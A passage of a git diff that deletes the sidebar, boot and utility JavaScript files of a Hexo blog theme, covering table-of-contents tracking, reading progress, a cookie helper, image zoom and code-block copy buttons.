CONFIG.sidebar.tocMaxDepth) || 4 - // Optimize selector by theme config. - var HEADING_SELECTOR = 'h1,h2,h3,h4,h5,h6,' - .slice(0, tocDepth * 3) - .slice(0, -1) - - function initTocDisplay () { - if ($('.post-body, .custompage').find(HEADING_SELECTOR)[0]) { - return - } - $('.sidebar-nav').addClass('hide') - $('.sidebar-toc').addClass('hide') - $('.sidebar-ov').removeClass('hide') - } - - // The heading that reached the top currently. - var currHeading = null - // The heading that reached the top last time. - var lastHeading = null - var isRemovedTocClass = false - - // Automatically expand items in the article directory - // based on the scrolling of heading in the article. - function autoSpreadToc () { - var $postBody = $('.post-body, .custompage') - var $allTocItem = $('.sidebar-toc li') - var $headings = $postBody.find(HEADING_SELECTOR) - var $firsetChild = $headings.first() - - $headings.each(function () { - var headingTop = this.getBoundingClientRect().top - // The minimum distance from the top of the browser - // when heading is marked as active in toc. - var MIN_HEIGHT_TO_TOP = 5 - - if (headingTop <= MIN_HEIGHT_TO_TOP) { - currHeading = window.encodeURIComponent(this.getAttribute('id')) - } - }) - - // All heading are not to the top. - if ( - $postBody[0] && - $firsetChild[0] && - $firsetChild[0].getBoundingClientRect().top > 0 && - $firsetChild.offset().top - $(window).scrollTop() > 0 - ) { - if (!isRemovedTocClass) { - $allTocItem.removeClass('active current') - isRemovedTocClass = true - } - return - } - if (currHeading !== lastHeading) { - var $targetLink = $('.sidebar-toc a[href="#' + currHeading + '"]') - - // In order to be compatible with Hexo under v5.0.0 - if (!$targetLink.length) { - var anchorDecode = window.decodeURIComponent(currHeading) - $targetLink = $('.sidebar-toc a[href="#' + anchorDecode + '"]') - } - - $allTocItem.removeClass('active current') - $targetLink.parents('li').addClass('active') - $targetLink.parent().addClass('current') - lastHeading = currHeading - isRemovedTocClass = false - } - } - - // Whether toc needs scrolling. - var isTocScroll = false - // Scroll the post toc to the middle. - function scrollTocToMiddle () { - var $tocWrapHeight = $('.sidebar-toc').height() - var $tocHeight = $('.sidebar-toc > div').height() - - if ($tocHeight <= $tocWrapHeight) { - return - } - - var $tocWrap = $('.sidebar-toc') - var $currTocItem = $('.sidebar-toc .current a') - - if ($currTocItem[0] && $tocWrap[0]) { - var tocTop = $currTocItem.offset().top - $tocWrap.offset().top - isTocScroll = tocTop > $tocWrapHeight || tocTop < 0 - } - - if (isTocScroll) { - $currTocItem.velocity('stop').velocity('scroll', { - container: $tocWrap, - offset: -$tocWrapHeight / 2, - duration: 500, - easing: 'easeOutQuart' - }) - } - } - - // Distance from sidebar to top. - var sidebarToTop = 0 - if (CONFIG.sidebar && CONFIG.sidebar.offsetTop) { - sidebarToTop = parseInt(CONFIG.sidebar.offsetTop) - } - - // Sticky the sidebar when it arrived the top. - function sidebarSticky () { - var $sidebar = $('#sidebar') - var targetY = document - .getElementById('content-wrap') - .getBoundingClientRect().top - - if (targetY < sidebarToTop) { - $sidebar.addClass('sidebar--sticky') - } else { - $sidebar.removeClass('sidebar--sticky') - } - } - - // Update the reading progress lines of post. - function readProgress () { - // Not on post page. - if ($('#is-post').length === 0) { - return - } - - var $post = $('.content') - var postTop = $post.offset().top - var postEndTop = 0 - var postEndHeight = 0 - var postReadingHeight = 0 - var isEnablePostEnd = false - var percent = 0 - - if (CONFIG.postWidget && CONFIG.postWidget.endText) { - isEnablePostEnd = true - } - if (isEnablePostEnd) { - postEndTop = $('.post-ending').offset().top - postEndHeight = $('.post-ending').outerHeight() - postReadingHeight = postEndTop - postTop + postEndHeight - } else { - postEndTop = $('.post-footer').offset().top - postReadingHeight = postEndTop - postTop - } - - var windowHeight = $(window).height() - var postScrollTop = 0 - - if ($post.length !== 0) { - postScrollTop = - parseInt($post[0].getBoundingClientRect().top * -1) + windowHeight - } - - var percentNum = Number($('.sidebar-reading-info__num').text()) - postReadingHeight = parseInt(Math.abs(postReadingHeight)) - percent = parseInt((postScrollTop / postReadingHeight) * 100) - percent = percent > 100 ? 100 : percent < 0 ? 0 : percent - - // Has reached the maximum or minimum - if ( - (percent === 0 && percentNum === 0) || - (percent === 100 && percentNum === 100) - ) { - return - } - $('.sidebar-reading-info__num').text(percent) - $('.sidebar-reading-line').css( - 'transform', - 'translateX(' + (percent - 100) + '%)' - ) - } - - // Initial run - autoSpreadToc() - sidebarSticky() - scrollTocToMiddle() - readProgress() - - $(window).on('scroll', function () { - sidebarSticky() - }) - - $(window).on( - 'scroll', - Stun.utils.throttle(function () { - autoSpreadToc() - scrollTocToMiddle() - readProgress() - }, 150) - ) - - Stun.utils.pjaxReloadSidebar = function () { - var $navToc = $('.sidebar-nav-toc') - var $navOv = $('.sidebar-nav-ov') - var $tocWrap = $('.sidebar-toc') - var $overview = $('.sidebar-ov') - - $navToc.on('click', function (e) { - e.stopPropagation() - if ($(this).hasClass('current')) { - return - } - $navToc.addClass('current') - $navOv.removeClass('current') - $tocWrap.css('display', 'block') - $tocWrap.velocity('stop').velocity('fadeIn') - $overview.css('display', 'none') - $overview.velocity('stop').velocity('fadeOut') - }) - $navOv.on('click', function (e) { - e.stopPropagation() - if ($(this).hasClass('current')) { - return - } - $navOv.addClass('current') - $navToc.removeClass('current') - $tocWrap.css('display', 'none') - $tocWrap.velocity('stop').velocity('fadeOut') - $overview.css('display', 'block') - $overview.velocity('stop').velocity('fadeIn') - }) - initTocDisplay() - } - - // Initialization - Stun.utils.pjaxReloadSidebar() -}) diff --git a/js/stun-boot.js b/js/stun-boot.js deleted file mode 100644 index d67e5a5..0000000 --- a/js/stun-boot.js +++ /dev/null @@ -1,49 +0,0 @@ -$(document).ready(function () { - Stun.utils.showThemeInConsole() - - if (CONFIG.shortcuts && CONFIG.shortcuts.switchPost) { - Stun.utils.registerSwitchPost() - } - - // Not reload this, because it's changeless. - if (CONFIG.externalLink) { - Stun.utils.addIconToExternalLink('#footer') - } - - Stun.utils.pjaxReloadBoot = function () { - if (CONFIG.codeblock) { - var codeStyle = CONFIG.codeblock.style - if (codeStyle === 'default') { - this.addCodeHeader() - this.addCopyButton() - } else if (codeStyle === 'carbon') { - this.addCodeHeader('carbon') - this.addCopyButton('carbon') - } else if (codeStyle === 'simple') { - this.addCopyButton('simple') - } - this.registerCopyEvent() - } - if (CONFIG.reward) { - this.registerShowReward() - } - if (CONFIG.lazyload) { - this.lazyLoadImage() - } - if (CONFIG.galleryWaterfall) { - this.showImageToWaterfall() - } - if (CONFIG.externalLink) { - var CONTAINER = '.archive, .post-title' - this.addIconToExternalLink(CONTAINER) - } - if (CONFIG.fancybox) { - this.wrapImageWithFancyBox() - } else if (CONFIG.zoomImage) { - this.registerZoomImage() - } - } - - // Initializaiton - Stun.utils.pjaxReloadBoot() -}) diff --git a/js/utils.js b/js/utils.js deleted file mode 100644 index 63febe0..0000000 --- a/js/utils.js +++ /dev/null @@ -1,611 +0,0 @@ -Stun.utils = Stun.$u = { - /** - * Debounce - * @param {Object} func Callback function - * @param {Number} wait Waiting time - * @param {Boolean} immediate Run immediately - */ - debounce: function (func, wait, immediate) { - var timeout - return function () { - var context = this - var args = arguments - - if (timeout) clearTimeout(timeout) - if (immediate) { - var callNow = !timeout - timeout = setTimeout(function () { - timeout = null - }, wait) - if (callNow) func.apply(context, args) - } else { - timeout = setTimeout(function () { - func.apply(context, args) - }, wait) - } - } - }, - /** - * Throttle - * @param {Object} func Callback function - * @param {Number} wait Waiting time - * @param {Object} options leading: Boolean, trailing: Boolean - */ - throttle: function (func, wait, options) { - var timeout, context, args - var previous = 0 - if (!options) options = {} - - var later = function () { - previous = options.leading === false ? 0 : new Date().getTime() - timeout = null - func.apply(context, args) - if (!timeout) context = args = null - } - var throttled = function () { - var now = new Date().getTime() - if (!previous && options.leading === false) previous = now - var remaining = wait - (now - previous) - context = this - args = arguments - if (remaining <= 0 || remaining > wait) { - if (timeout) { - clearTimeout(timeout) - timeout = null - } - previous = now - func.apply(context, args) - if (!timeout) context = args = null - } else if (!timeout && options.trailing !== false) { - timeout = setTimeout(later, remaining) - } - } - return throttled - }, - hasMobileUA: function () { - var nav = window.navigator - var ua = nav.userAgent - var pa = /iPad|iPhone|Android|Opera Mini|BlackBerry|webOS|UCWEB|Blazer|PSP|IEMobile|Symbian/g - return pa.test(ua) - }, - isTablet: function () { - return ( - window.screen.width > 767 && - window.screen.width < 992 && - this.hasMobileUA() - ) - }, - isMobile: function () { - return window.screen.width < 767 && this.hasMobileUA() - }, - isDesktop: function () { - return !this.isTablet() && !this.isMobile() - }, - Cookies: function () { - function extend () { - var i = 0 - var result = {} - for (; i < arguments.length; i++) { - var attributes = arguments[i] - for (var key in attributes) { - result[key] = attributes[key] - } - } - return result - } - - function init (converter) { - function api (key, value, attributes) { - var result - if (typeof document === 'undefined') { - return - } - // Write - if (arguments.length > 1) { - attributes = extend({ path: '/' }, api.defaults, attributes) - if (typeof attributes.expires === 'number') { - var expires = new Date() - expires.setMilliseconds( - expires.getMilliseconds() + attributes.expires * 864e5 - ) - attributes.expires = expires - } - // We're using "expires" because "max-age" is not supported by IE - attributes.expires = attributes.expires - ? attributes.expires.toUTCString() - : '' - try { - result = JSON.stringify(value) - if (/^[{[]/.test(result)) { - value = result - } - } catch (e) { - /* empty */ - } - if (!converter.write) { - value = encodeURIComponent(String(value)).replace( - /%(23|24|26|2B|3A|3C|3E|3D|2F|3F|40|5B|5D|5E|60|7B|7D|7C)/g, - decodeURIComponent - ) - } else { - value = converter.write(value, key) - } - key = encodeURIComponent(String(key)) - key = key.replace(/%(23|24|26|2B|5E|60|7C)/g, decodeURIComponent) - key = key.replace(/[()]/g, escape) - - var stringifiedAttributes = '' - for (var attributeName in attributes) { - if (!attributes[attributeName]) { - continue - } - stringifiedAttributes += '; ' + attributeName - if (attributes[attributeName] === true) { - continue - } - stringifiedAttributes += '=' + attributes[attributeName] - } - return (document.cookie = key + '=' + value + stringifiedAttributes) - } - // Read - if (!key) { - result = {} - } - // To prevent the for loop in the first place assign an empty array - // in case there are no cookies at all. Also prevents odd result when - // calling "get()" - var cookies = document.cookie ? document.cookie.split('; ') : [] - var rdecode = /(%[0-9A-Z]{2})+/g - var i = 0 - - for (; i < cookies.length; i++) { - var parts = cookies[i].split('=') - var cookie = parts.slice(1).join('=') - - if (cookie.charAt(0) === '"') { - cookie = cookie.slice(1, -1) - } - try { - var name = parts[0].replace(rdecode, decodeURIComponent) - cookie = converter.read - ? converter.read(cookie, name) - : converter(cookie, name) || - cookie.replace(rdecode, decodeURIComponent) - if (this.json) { - try { - cookie = JSON.parse(cookie) - } catch (e) { - /* empty */ - } - } - if (key === name) { - result = cookie - break - } - if (!key) { - result[name] = cookie - } - } catch (e) { - /* empty */ - } - } - return result - } - api.set = api - api.get = function (key) { - return api.call(api, key) - } - api.getJSON = function () { - return api.apply({ json: true }, [].slice.call(arguments)) - } - api.defaults = {} - api.remove = function (key, attributes) { - api(key, '', extend(attributes, { expires: -1 })) - } - api.withConverter = init - return api - } - return init(function () {}) - }, - showThemeInConsole: function () { - var stunInfo = '主题不错?⭐star 支持一下 ->' - var stunURL = 'https://github.com/liuyib/hexo-theme-stun' - var stunNameStr = - '\n\n ___ ___ ___ ___ \n /\\ \\ /\\ \\ /\\__\\ /\\__\\ \n /::\\ \\ \\:\\ \\ /:/ / /::| | \n /:/\\ \\ \\ \\:\\ \\ /:/ / /:|:| | \n _\\:\\ \\ \\ \\ /::\\ \\ /:/ / ___ /:/|:| |__ \n /\\ \\:\\ \\ \\__\\ /:/\\:\\__\\ /:/__/ /\\__\\ /:/ |:| /\\__\\ \n \\:\\ \\:\\ \\/__/ /:/ \\/__/ \\:\\ \\ /:/ / \\/__|:|/:/ / \n \\:\\ \\:\\__\\ /:/ / \\:\\ /:/ / |:/:/ / \n \\:\\/:/ / \\/__/ \\:\\/:/ / |::/ / \n \\::/ / \\::/ / /:/ / \n \\/__/ \\/__/ \\/__/ \n \n' - var stunInfoStyle = - 'background-color: #49b1f5; color: #fff; padding: 8px; font-size: 14px;' - var stunURLStyle = - 'background-color: #ffbca2; padding: 8px; font-size: 14px;' - var stunNameStyle = 'background-color: #eaf8ff;' - - console.log( - '%c%s%c%s%c%s', - stunInfoStyle, - stunInfo, - stunURLStyle, - stunURL, - stunNameStyle, - stunNameStr - ) - }, - /** - * Change the event code to keyCode. - * @param {String} code Event code - */ - codeToKeyCode: function (code) { - var codes = { - ArrowLeft: 37, - ArrowRight: 39, - Escape: 27, - Enter: 13 - } - return codes[code] - }, - /** - * "Alert" component - * @param {String} status The Status of message. Values: success / info / warning / error. - * @param {String} text The text to show. - * @param {Number} delay Message stay time (unit is 's', default 5s). - */ - popAlert: function (status, text, delay) { - if ($('.stun-message').length !== 0) { - $('.stun-message').remove() - } - - var $alert = $( - '
' + - `
` + - `` + - `${text}` + - '
' + - '
' - ) - - $('body').append($alert) - $(document).ready(function () { - $('.stun-alert') - .velocity('stop') - .velocity('transition.slideDownBigIn', { - duration: 300 - }) - .velocity('reverse', { - delay: delay * 1000 || 5000, - duration: 260, - complete: function () { - $('.stun-alert').css('display', 'none') - } - }) - }) - }, - /** - * Copy any text. - * @param {HTMLElement} container Container of text. - */ - copyText: function (container) { - try { - var selection = window.getSelection() - var range = document.createRange() - // Select text by the content of node. - range.selectNodeContents(container) - selection.removeAllRanges() - selection.addRange(range) - - var text = selection.toString() - var input = document.createElement('input') - // Create a temporary input to make the - // execCommand command take effect. - input.style.display = 'none' - input.setAttribute('readonly', 'readonly') - input.setAttribute('value', text) - document.body.appendChild(input) - input.setSelectionRange(0, -1) - - if (document.execCommand('copy')) { - document.execCommand('copy') - document.body.removeChild(input) - return true - } - document.body.removeChild(input) - } catch (e) { - return false - } - }, - // Wrap images with fancybox support. - wrapImageWithFancyBox: function () { - $('.content img') - .not(':hidden') - .each(function () { - var $img = $(this) - var imgTitle = $img.attr('title') || $img.attr('alt') - var $imgWrap = $img.parent('a') - var imgSource = ['data-src', 'data-original', 'src'] - var imgSrc = '' - - if (!$imgWrap[0]) { - for (var i = 0; i < imgSource.length; i++) { - if ($img.attr(imgSource[i])) { - imgSrc = $img.attr(imgSource[i]) - break - } - } - $imgWrap = $img - .wrap(``) - .parent('a') - if ($img.is('.gallery img')) { - $imgWrap.attr('data-fancybox', 'gallery') - } else { - $imgWrap.attr('data-fancybox', 'default') - } - } - if (imgTitle) { - $imgWrap.attr('title', imgTitle).attr('data-caption', imgTitle) - } - }) - - $().fancybox({ - selector: '[data-fancybox]', - loop: true, - transitionEffect: 'slide', - hash: false, - buttons: [ - 'share', - 'slideShow', - 'fullScreen', - 'download', - 'thumbs', - 'close' - ] - }) - }, - // Display the image in the gallery as a waterfall. - showImageToWaterfall: function () { - var gConfig = CONFIG.galleryWaterfall - var colWidth = parseInt(gConfig.colWidth) - var colGapX = parseInt(gConfig.gapX) - var GALLERY_IMG_SELECTOR = '.gallery img' - - this.waitAllImageLoad(GALLERY_IMG_SELECTOR, function () { - $('.gallery').masonry({ - itemSelector: GALLERY_IMG_SELECTOR, - columnWidth: colWidth, - percentPosition: true, - gutter: colGapX, - transitionDuration: 0 - }) - }) - }, - // Lazy load the images of post. - lazyLoadImage: function () { - $('img.lazyload').lazyload() - }, - // Add a mark icon to the link with `target="_blank"` attribute. - addIconToExternalLink: function (container) { - if (!$(container)[0]) { - return - } - - var $wrapper = $('') - var $icon = $( - '' + - `` + - '' - ) - - $(container) - .find('a[target="_blank"]') - .addClass('exturl__link') - .wrap($wrapper) - .parent('.exturl') - .append($icon) - }, - // Switch to the prev / next post by shortcuts. - registerSwitchPost: function () { - var keyLeft = this.codeToKeyCode('ArrowLeft') - var keyRight = this.codeToKeyCode('ArrowRight') - - $(document).on('keydown', function (e) { - var isPrev = e.keyCode === keyLeft - var isNext = e.keyCode === keyRight - - if (e.ctrlKey) { - if (isPrev) { - var prevElem = $('.paginator-prev a')[0] - prevElem && prevElem.click() - } else if (isNext) { - var nextElem = $('.paginator-next a')[0] - nextElem && nextElem.click() - } - } - }) - }, - // Show / Hide the reward QR. - registerShowReward: function () { - $('.reward-button').on('click', function () { - var $container = $('.reward-qrcode') - if ($container.is(':visible')) { - $container.css('display', 'none') - } else { - $container.velocity('stop').velocity('transition.slideDownIn', { - duration: 300 - }) - } - }) - }, - // Click to zoom in image, without fancybox. - registerZoomImage: function () { - $('#content-wrap img') - .not(':hidden') - .each(function () { - if ($(this).attr('data-zoom') === 'none') return - $(this).addClass('zoomimg') - }) - - var $imgMask = $('
') - var $imgClone = null - var isZoom = false - - $(window).on('scroll', closeZoom) - $(document).on('click', closeZoom) - - $('.zoomimg').on('click', function (e) { - e.stopPropagation() - if (isZoom) { - closeZoom() - return - } - isZoom = true - $imgClone = $(this) - .clone() - .addClass('zoomimg-clone') - - var SIDE_GAP = parseInt(CONFIG.zoomImage.gapAside || 20) - var imgRect = this.getBoundingClientRect() - var imgOuterW = $(this).outerWidth() - var imgOuterH = $(this).outerHeight() - var imgW = $(this).width() - var imgH = $(this).height() - var imgL = $(this).offset().left + (imgOuterW - imgW) / 2 - var imgT = $(this).offset().top + (imgOuterH - imgH) / 2 - var winW = $(window).width() - SIDE_GAP * 2 - var winH = $(window).height() - SIDE_GAP * 2 - var scaleX = winW / imgW - var scaleY = winH / imgH - var scale = (scaleX < scaleY ? scaleX : scaleY) || 1 - var translateX = winW / 2 - (imgRect.x + imgOuterW / 2) + SIDE_GAP - var translateY = winH / 2 - (imgRect.y + imgOuterH / 2) + SIDE_GAP - - $(this).addClass('zoomimg--hide') - $('body') - .append($imgMask) - .append($imgClone) - $imgMask.velocity({ - opacity: 1 - }) - $imgClone.css({ - left: imgL, - top: imgT, - width: imgW, - height: imgH - }) - $imgClone.velocity( - { - translateX: translateX, - translateY: translateY, - scale: scale - }, - { duration: 300 } - ) - }) - - function closeZoom () { - if (!isZoom) { - return - } - - isZoom = false - $imgClone.velocity('reverse') - $imgMask.velocity('reverse', { - complete: function () { - $imgMask.remove() - $imgClone.remove() - $('.zoomimg').removeClass('zoomimg--hide') - } - }) - } - }, - /** - * Add the header to code block. - * @param {string} type The type of header. value: 'carbon' | null. - */ - addCodeHeader: function (type) { - $('figure.highlight').each(function () { - if (!$(this).find('figcaption')[0]) { - var content = '' - if (!type) { - var CODEBLOCK_CLASS_NAME = 'highlight' - var lang = $(this) - .attr('class') - .split(/\s/) - .filter(function (e) { - return e !== CODEBLOCK_CLASS_NAME - }) - - content += `
${lang}
` - } else if (type === 'carbon') { - content += ` -
-
-
-
-
- ` - } - - $(`
${content}
`).insertBefore( - $(this) - .children() - .first() - ) - } - }) - }, - addCopyButton: function (type) { - var btnContainer = '.post-copyright,' - var $copyIcon = $( - `
` + - `` + - '
' - ) - - if (type === 'simple' || type === 'carbon') { - btnContainer += '.highlight figcaption:not(".custom")' - } else { - btnContainer += '.highlight figcaption' - } - // Add a copy button to the selected elements. - $(btnContainer).append($copyIcon) - }, - registerCopyEvent: function () { - $('.copy-button').on('click', function () { - var container = null - // Select the container of code block. - var codeContainer = $(this) - .parents('figure.highlight') - .find('td.code')[0] - - if (codeContainer) { - container = codeContainer - } else { - // Select the container of text. - container = $(this).parent()[0] - } - if (Stun.utils.copyText(container)) { - Stun.utils.popAlert('success', CONFIG.prompt.copySuccess) - } else { - Stun.utils.popAlert('error', CONFIG.prompt.copyError) - } - }) - }, - /** - * Wait for all images to load. - * @param {String} selector jQuery selector. - * @param {Function} callback Callback. - */ - waitAllImageLoad: function (selector, callback) { - var imgDefereds = [] - $(selector).each(function () { - var dfd = $.Deferred() - $(this).bind('load', function () { - dfd.resolve() - }) - - if (this.complete) { - setTimeout(function () { - dfd.resolve() - }, 500) - } - imgDefereds.push(dfd) - }) - $.when.apply(null, imgDefereds).then(callback) - } -}